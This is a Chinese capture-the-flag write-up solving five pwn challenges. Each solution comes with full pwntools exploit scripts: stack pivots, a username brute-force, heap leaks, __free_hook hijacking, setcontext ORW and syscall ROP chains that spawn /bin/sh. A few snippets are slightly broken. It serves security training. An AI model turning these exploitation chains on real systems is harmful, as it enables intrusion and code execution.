1、青龙组--pwn2
开始有一个登录的函数,然后只要拿到用户名和密码就可以进入
vuln函数存在两个字节的溢出,还将buf的地址给泄露出来了
还有给了我们后门函数和/bin/sh字符串
完整的exp
from pwn import *
elf = ELF("./short")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# libc = ELF('./libc.so.6')
flag=0
url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'
port=45740
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
sla('Enter your username: ','admin')
sla('Enter your password: ','admin123')
leave_ret=0x08048555 #: leave ; ret
bss=elf.bss(0x300)
read=0x0804865A
ebp=0x0804884b #: pop ebp ; ret
ru('You will input this: ')
stack=int(rc(10),16)
lg('stack')
pay=p32(0x080484A0)+p32(0x0804A038)*2
pay=pay.ljust(0x50,'\x00')+p32(stack)+p32(0x080485FA)
# gdb.attach(p,'b *0x08048674\nc')
# pause()
sa('your msg:\n',pay)
# pay='sh\x00\x00'*20+p32(0x080485FA)+p32(read)
# sd(pay)
# pay=
it()
2、青龙组--pwn4
代码审计,发现有一个用户名和密码的验证,才能进入之后的操作
发现他是在本地去读取的,所以我们需要爆破用户名和密码,然后我们进入判断函数,发现他是一个一个字符判断的,如果发现字符不一样,我们可以由此当判断依据,爆破用户名
爆破脚本,password也是同样的操作
username=''
chars=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
#chars=['[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']
for char in chars:
try:
pay = username+char
sla('Input your username:\n', pay+'\x00')
res = p.recvuntil(('Invalid username length!', 'Username correct!'), timeout=1)
if 'Invalid username length!' in res:
info('正确的字符:' + char)
username+=char
break
elif 'Username correct!' in res:
print('正确的username:' + username)
except:
pass
后面就是一个经典的菜单题了
我们进入第一个函数,发现是一个添加堆块的函数,限制了只能申请0xf个堆块,大小要小于0x300,而且他会对我们输入的数据进行加密
解密算法
def ksa(key):
state = list(range(256))
j = 0
for i in range(256):
j = (j + state[i] + ord(key[i % len(key)])) % 256
state[i], state[j] = state[j], state[i]
return state
def prga(state, length):
i = j = 0
keystream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + state[i]) % 256
state[i], state[j] = state[j], state[i]
t = (state[i] + state[j]) % 256
keystream.append(state[t])
return keystream
def rc4_decrypt(key, ciphertext):
state = ksa(key)
keystream = prga(state, len(ciphertext))
plaintext = []
for c, k in zip(ciphertext, keystream):
plaintext.append(chr(ord(c) ^ k))
return ''.join(plaintext)
进入第二函数,是一个打印函数,但是会给我打印出来的东西进行加密
第三个函数,是一个free函数,存在uaf漏洞,会对我们free的内容进行加密
第四个函数edit函数,同样会加密我们的内容
并且还开了沙箱,但是libc是2.27,所以我们直接用setcontext+53进行orw的编写
利用思路:
1、首先通过申请7个堆块,填满teacher bin,然后在申请一个,free掉进入unsortbin,泄露libc
2、,然后就通过uaf劫持free_hook为setcontext+53,进行orw的编写
首先我们泄露libc,由于我们打印的数据是加密的,所以我们要接受所有的数据进行解密,然后拿到libc的地址,然后我们在通过之前的free掉的堆块泄露,heap的地址
for i in range(8):
add(i,0x100,rc4_decrypt(key,'Halo'))
add(8,0x270,rc4_decrypt(key,'Halo2'))
for i in range(8):
delete(i)
show(7)
ru('[7,')
libc.address=u64(rc4_decrypt(key,ru(']')[:-1])[0:7].ljust(8,'\x00'))-0x3ebca0
lg('libc.address')
ru('[2,')
heap=u64(rc4_decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'\x00'))-0x1720-0x60
lg('heap')
劫持free_hook为setcontext+53,由于我们之前就free掉了很多堆块,我们直接找到6个堆块改为free_hook,就可劫持了
edit(6,rc4_decrypt(key,p64(libc.sym['__free_hook'])))
add(1,0x100,rc4_decrypt(key,'aaa'))
add(1,0x100,rc4_decrypt(key,p64(setcontext)))
0x7f4b45a35a75 <setcontext+53> mov rsp,qword ptr [rdi Oxa0]
0x7f4b45a35a7c <setcontext+60> mov rbx,qword ptr [rdi 0x80]
0x7f4b45a35a83 <setcontext+67> mov rbp,qword ptr [rdi 0x78]
0x7f4b45a35a87 <setcontext+71> mov r12,qword ptr [rdi 0x48]
0x7f4b45a35a8b <setcontext+75> mov r13,qword ptr [rdi 0x50]
0x7f4b45a35a8f <setcontext+79> mov r14,qword ptr [rdi 0x58]
0x7f4b45a35a93 <setcontext+83> mov r15,qword ptr [rdi 0x60]
0x7f4b45a35a97 <setcontext+87> mov rcx,qword ptr [rdi Oxa8]
0x7f4b45a35a9e <setcontext+94> push rcx
0x7f4b45a35a9f <setcontext+95> mov rsi,qword ptr [rdi +0x70]
0x7f4b45a35aa3 <setcontext+99> mov rdx,qword ptr [rdi +0x88]
0x7f4b45a35aaa <setcontext+106> mov rcx,qword ptr [rdi 0x98]
0x7f4b45a35abl <setcontext+113> mov r8,qword ptr [rdi 0x28]
0x7f4b45a35ab5 <setcontext+117> mov r9,qword ptr [rdi 0x30]
0x7f4b45a35ab9 <setcontext+121> mov rdi,qword ptr [rdi 0x68]
0x7f4b45a35abd <setcontext+125> xor eax,eax
0x7f4b45a35abf <setcontext+127> ret
pop_rdi=0x000000000002164f+libc.address #: pop rdi ; ret
pop_rsi=0x0000000000023a6a + libc.address#: pop rsi ; ret
pop_rdx=0x0000000000001b96 +libc.address#: pop rdx ; ret
open=libc.sym['open']
read=libc.sym['read']
puts=libc.sym['puts']
setcontext=libc.sym['setcontext']+53
orw_addr=heap+0x2170
frame=SigreturnFrame()
frame.rsp=orw_addr
frame.rip=libc.sym['open']
frame.rdi=orw_addr+0x50
frame.rsi=0
orw=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)
orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)+'./flag\x00\x00'
由于我们劫持的rsp为orw的地址,但是当他push rcx的时候会将rsp-0x8地方修改,所以我们没法将"./flag\x00\x00"写在开头
完整的exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc.so.6')
flag=1
url=''
port=0
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
sla('Input your username:', '4dm1n')
sla('Input your password:','985da4f8cb37zkj')
def cmd(cmd):
sla('>',str(cmd))
def add(key,size,msg):
cmd(1)
sla('Input the key:',str(key))
sla('value size:',str(size))
sla('the value: \n',msg)
def show(key):
cmd(2)
sla('Input the key:', str(key))
def delete(key):
cmd(3)
sla('Input the key:', str(key))
def edit(key,msg):
cmd(4)
sla('Input the key:', str(key))
sla('the value: \n', msg)
def ksa(key):
state = list(range(256))
j = 0
for i in range(256):
j = (j + state[i] + ord(key[i % len(key)])) % 256
state[i], state[j] = state[j], state[i]
return state
def prga(state, length):
i = j = 0
keystream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + state[i]) % 256
state[i], state[j] = state[j], state[i]
t = (state[i] + state[j]) % 256
keystream.append(state[t])
return keystream
def rc4_decrypt(key, ciphertext):
state = ksa(key)
keystream = prga(state, len(ciphertext))
plaintext = []
for c, k in zip(ciphertext, keystream):
plaintext.append(chr(ord(c) ^ k))
return ''.join(plaintext)
key='s4cur1ty_p4ssw0rd'
data=rc4_decrypt(key,'aaaa')
print data
for i in range(8):
add(i,0x100,rc4_decrypt(key,'Halo'))
add(8,0x270,rc4_decrypt(key,'Halo2'))
for i in range(8):
delete(i)
show(7)
ru('[7,')
libc.address=u64(rc4_decrypt(key,ru(']')[:-1])[0:7].ljust(8,'\x00'))-0x3ebca0
lg('libc.address')
show(2)
ru('[2,')
heap=u64(rc4_decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'\x00'))-0x1720-0x60
lg('heap')
pop_rdi=0x000000000002164f+libc.address #: pop rdi ; ret
pop_rsi=0x0000000000023a6a + libc.address#: pop rsi ; ret
pop_rdx=0x0000000000001b96 +libc.address#: pop rdx ; ret
open=libc.sym['open']
read=libc.sym['read']
puts=libc.sym['puts']
setcontext=libc.sym['setcontext']+53
orw_addr=heap+0x2170
frame=SigreturnFrame()
frame.rsp=orw_addr
frame.rip=libc.sym['open']
frame.rdi=orw_addr+0x50
frame.rsi=0
orw=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)
orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)+'./flag\x00\x00'
add(10,0x150,rc4_decrypt(key,'aaa'))
edit(6,rc4_decrypt(key,p64(libc.sym['__free_hook'])))
add(1,0x100,rc4_decrypt(key,'aaa'))
add(1,0x100,rc4_decrypt(key,p64(setcontext)))
# gdb.attach(p, "b __libc_free\nc")
# pause()
edit(10,rc4_decrypt(key,orw))
edit(8,str(frame))
delete(8)
it()
3、白虎组--pwn1
分析伪代码,发现是一个菜单题
add函数。限制了只能申请0x20个堆块,大小在0x90到0x1000以内
delete函数,free后,将其置零
edit函数就是漏洞点,他会在任意地址输入0xA2C2A,但是程序是一个64位,所以他会将这个数据填零不存,就是使得任意地址中的数末尾为零
show函数就是打印数据的
利用思路:
1、我们通过unsortbin的遗留的指针泄露libc和heap地址
2、然后我们在将通过edit函数进行任意地址修改
泄露heap地址和libc地址
add(0x410)#0
add(0x100)#1
add(0x410)#2
add(0x98)#3
delet(0)
delet(2)
add(0x410,'a'*8)#4
show(4)
ru('a'*8)
heap=u64(p.recvuntil(('\x55','\x56'))[-6:].ljust(8,'\x00'))-0x7c0
lg('heap')
add(0x410)#5
show(5)
libc.address=uu64()-0x1ecb61
lg('libc.address')
然后我们在构建一个可以末尾抹零的地址,将free_hook链上
add(0x108,'a'*0x+p64(libc.sym['__free_hook']))#6
add(0x100,'b')#7
add(0x100,'c')#8
add(0x100,'d')#9
delet(6)
delet(7)
delet(8)
我们将a0改为00,这样我们就可以将free_hook申请出来了
通过edit修改
完整的exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc-2.31.so')
flag=1
url='0192c683af7071c2b99b49b207151419.mn9x.dg07.wangdingcup.com'
port=43003
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
def cmd(cmd):
sla('Input your choice',str(cmd))
def add(size,msg='a'):
cmd(1)
sla('Size :',str(size))
sa('Content :\n',msg)
def delet(idx):
cmd(2)
sla('Index :',str(idx))
def edit(msg='a'):
cmd(3)
sa('content :\n',str(msg))
def show(idx):
cmd(4)
sla('Index :', str(idx))
add(0x410)#0
add(0x100,'/bin/sh\x00')#1
add(0x410)#2
add(0x98)#3
delet(0)
delet(2)
add(0x410,'a'*8)#4
show(4)
ru('a'*8)
heap=u64(p.recvuntil(('\x55','\x56'))[-6:].ljust(8,'\x00'))-0x7c0
lg('heap')
add(0x410)#5
show(5)
libc.address=uu64()-0x1ecb61
lg('libc.address')
add(0x108,'a'*0x70+p64(libc.sym['__free_hook']))#6
add(0x100,'b')#7
add(0x100,'c')#8
add(0x100,'d')#9
delet(6)
delet(7)
delet(8)
edit(p64(heap+0xeb0-0x8+0x5))
add(0x100)
add(0x100)
add(0x100,p64(libc.sym['system']))
delet(1)
# gdb.attach(p)
it()
4、玄武组--pwn2
代码审计,我们发现了三个函数,并且去除了符号表
我们进入第一个函数,我们猜测是一个初始化的函数
进入第二函数,我们通过分析将函数名自己填上,发现他开了一个子进程去执行了read函数和puts函数,并且还是要等主进程结束后才会调用
查看第三个函数,发现使用输入的函数调用,但是没有任何的溢出或是其他漏洞,但是他会泄露一个地址,根据泄露出来的值猜测应该是一个canary的值
那我们就进入gdb调试,查看他的整个程序的调用过程,这里我们的得用到gdb中调试子进程的命令,然后在设置断点,主进程和子进程都要设置
set follow-fork-mode child(使程序进入子进程)
set detach-on-fork [on|off]( on:断开调试follow-fork-mode调试的指定进程
然后我们直接调试,他会进入第三个函数,调用read函数,进行读入,然后我们在进入子进程
info inferiors(查询正在调试的进程,gdb会为他们分配唯一的Num号,其中前面带’*'号的就是正在调试的进程)
inferior (切换调试的进程为inferior num的进程处)
然后我们跟进调试会发现,当我们调用exit之前会有一个判断然后进行跳转
跳转的判断值使我们之前输入的数值,我们直接发现1进行绕过
ru('gift: ')
canary=int(rc(18),16)
lg('canary')
gdb.attach(p,'set follow-fork-mode child\n set detach-on-fork off\n b *0x401A30\n b *0x401995\nc')
sla('leave your name',p64(1)*8)
然后我们就会发现一个隐藏的函数,我们直接通过地址在ida中进行搜索定位函数,查看函数的逻辑。
分析他会先执行完主进程,才会进入子进程,而且还是一直循环操作
我们查看汇编会发现,在执行完子进程的函数后会跳转跳转到一个新的函数,然后判断是个为11111111,如果相同这会调用40191A函数,然后在判断canary
我们直接通过gdb进行调试,我们通过测试,我们一次性发送我们需要的数据,才有可能覆盖到返回的地址
sa("once again?","c"*256+p32(0x11111111)*64+p64(canary)*4)
第二次进入子进程会覆盖我们的返回地址
完整的exp
#coding:utf-8
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# libc = ELF('./libc.so.6')
flag=1
url=''
port=
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
ru('gift: ')
canary=int(rc(18),16)
lg('canary')
# gdb.attach(p,'set follow-fork-mode child\n set detach-on-fork off\n b *0x401A30\n b *0x401995\nc')
# pause()
sa('leave your name',p64(1)*8)
sa('Wanna return?','1')
syscall=0x000000000041ac26#: syscall; ret;
pop_rax=0x0000000000450277 #: pop rax ; ret
pop_rdi=0x000000000040213f #: pop rdi ; ret
pop_rsi=0x000000000040a1ae #: pop rsi ; ret
pop_rdx_rbx=0x0000000000485feb #: pop rdx ; pop rbx ; ret
leave=0x000000000040192f #: leave ; ret
bss=elf.bss(0x300)
pay='a'*256+p32(0x11111111)*64+p64(canary)*3
#编写read函数,进行/bin/sh\x00的输入
pay+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx_rbx)+p64(0x80)*2+p64(syscall)
#编写execve 进行getshell
pay+=p64(pop_rax)+p64(0x3b)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)*2+p64(syscall)
sa("once again?",pay)
sd('/bin/sh\x00')
it()
5、半决赛--cardmaster
代码审计,根据题目的描述是模拟了一个扑克牌的洗牌机制
首先进入第一个函数,是一个洗牌初始化的函数,然后将数据结构体给定义出来
进入第二个函数,我们发现漏洞点realloc函数,因为我们申请的chunk大小是由我们自己定义的
这是我看到一位大神的解释,我感觉解释的很到位
- realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果
- size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf
- realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)
- malloc_usable_size(realloc_ptr) >= size, 这个时候会把多余的内存释放掉,并返回原来的指针
- malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
然后第三个选项就是调用一个结构体,我们通过gdb调入可以看到,就是将我们初始化生成的数据体给打印出来,可以用来泄露我们的libc的地址
后面两个函数感觉没有啥用,主要是我也没有看懂........
首先我通过申请一个大于0x410的chunk,然后通过realloc进行free,就可以将这个chunk放入unsortbin中,从而泄露libc的地址,然后我们也可以将malloc给消耗掉
然后我们将size的大小改为0,realloc的功能就会像free
之后我们就可以泄露libc了,我们调用第三个函数进行打印然后我们要进行初始化不然我们没法再申请chunk了,因为main_aeran链上的是top_chunk地址,进入realloc函数中会发现,r12相加后会变成一个非法地址cmd(3) ru('chara set:') libc.address=uu64()-0x3ebca0 lg('libc.address')
然后我们重新获取一块数据体,然后就是构建teacher bin链,而且由于没有libc是2.27,对teache bin doublefree没有检查
然后我们就可以将free_hook给链上,这边一定有free两个chunk,不然后我们后面初始化的时候就可会把free_hook给申请掉,从而没法修改
然后我们就可以将free_hook给申请出来给为system了,然后我们也可改为one_gadget
完整exp
from pwn import *
elf = ELF("./cardmaster")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc.so.6')
flag=1
url=''
port=0
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
def cmd(idx):
sla('>> ',str(idx))
def card_set():
cmd(1)
def set_info(idx1,mag='1'):
cmd(2)
sla('count:',str(idx1))
sla('range 1 - ?',str(0))
sla('level:',str(1000))
if idx1 != 0:
sla('set:',mag)
def get_info():
cmd(3)
def shuffle():
cmd(4)
set_info(0x110,'aaa')
set_info(0)
cmd(3)
ru('chara set:')
libc.address=uu64()-0x3ebca0
lg('libc.address')
card_set()
set_info(10,'bbb')
set_info(0)
set_info(0)
set_info(10,'a')
set_info(5,p64(libc.sym['__free_hook']))
card_set()
one_gadget=[0x4f2be,0x4f2c5,0x4f322,0x10a38c][2]+libc.address
# set_info(10,p64(one_gadget))
# set_info(0)
set_info(10,p64(libc.sym['system']))
card_set()
set_info(10,'/bin/sh\x00')
set_info(0)
# gdb.attach(p)
it()
- 题目.zip 下载